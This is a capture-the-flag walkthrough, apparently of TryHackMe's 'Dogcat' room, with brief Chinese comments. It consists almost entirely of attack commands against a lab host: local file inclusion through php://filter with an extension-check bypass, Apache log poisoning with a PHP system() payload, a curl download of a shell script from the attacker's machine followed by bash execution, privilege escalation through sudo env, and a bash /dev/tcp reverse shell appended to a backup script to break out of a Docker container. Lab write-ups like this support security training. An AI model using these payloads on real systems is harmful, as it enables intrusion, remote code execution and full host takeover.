nmap -A 10.10.221.153
http://10.10.221.153/?view=cat
http://10.10.221.153/?view=dog
http://10.10.221.153/?view=php://filter/convert.base64-encode/resource=cat
PGltZyBzcmM9ImNhdHMvPD9waHAgZWNobyByYW5kKDEsIDEwKTsgPz4uanBnIiAvPg0K
<img src="cats/<?php echo rand(1, 10); ?>.jpg" />
<img src="dogs/<?php echo rand(1, 10); ?>.jpg" />
/etc/passwd
http://10.10.221.153/?view=php://filter/convert.base64-encode/resource=/etc/passwd
Sorry, only dogs or cats are allowed.
/etc/passwddog
Here you go!
但是噴一些錯誤http://10.10.221.153/?view=php://filter/convert.base64-encode/resource=./dog/../dog
index.php
內容 這邊只截錄重點<?php
function containsStr($str, $substr) {
return strpos($str, $substr) !== false;
}
$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
if(isset($_GET['view'])) {
if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
echo 'Here you go!';
include $_GET['view'] . $ext;
} else {
echo 'Sorry, only dogs or cats are allowed.';
}
}
?>
ext
很重要
ext
空白繞過副檔名http://10.10.221.153/?ext=&view=php://filter/convert.base64-encode/resource=./dog/../index.php
http://10.10.221.153/?ext=&view=php://filter/convert.base64-encode/resource=./dog/../../../../../../../etc/passwd
http://10.10.221.153/?ext=&view=php://filter/convert.base64-encode/resource=./dog/../../../../../../../etc/apache2/apache2.conf
http://10.10.221.153/?ext=&view=php://filter/convert.base64-encode/resource=./dog/../../../../../../../var/log/apache2/access.log
access.log
可讀
access.log
來做到 LFI 2 RCE如果在瀏覽器輸入這個
10.10.221.153?A=<?php phpinfo(); ?</php>
在 log 上會變成這樣
/?A=%3C?php%20phpinfo();%20?%3C/php%3E
所以可以用 nc
nc 10.10.221.153 80
GET /MEOW?<?php phpinfo(); ?>
nc 10.10.221.153 80
GET /MEOW?<?php system($_GET[A]); ?>
http://10.10.221.153/?ext=&view=./dog/../../../../../../../var/log/apache2/access.log&A=curl%20-o%20/tmp/s%20http://10.13.21.55:8000/s
http://10.10.221.153/?ext=&view=./dog/../../../../../../../var/log/apache2/access.log&A=bash%20/tmp/s
nc -vlk 7877
/var/www/flag.php
/var/www/flag.php
sudo -l
可以發現我們可以用 root 來 run /usr/bin/env
/usr/bin/env ls /root
ls /root
env /usr/bin/sh -p
THM{D1ff3r3nt_3nv1ronments_874112}
curl -o linpeas.sh 10.13.21.55:8000/linpeas.sh
/usr/bin/env /tmp/linpeas.sh
/.dockerenv
backup.tar
跟 backup.sh
/var/www/html
來準備下載
wget http://10.10.221.153/backup.tar
tar xf backup.tar
127.0.0.1
的 curllaunch.sh
/opt/backup
掛載到本地的/root/container/backup
/opt/backup
寫資料會跑到本地端
backup.sh
tar cf /root/container/backup/backup.tar /root/container
backup.tar
就剛好是當前時間!
backup.sh
echo "bash -c 'bash -i >& /dev/tcp/10.13.21.55/7878 0>&1'" >> backup.sh
nc -vlk 7878
THM{esc4l4tions_on_esc4l4tions_on_esc4l4tions_7a52b17dba6ebb0dc38bc1049bcba02d}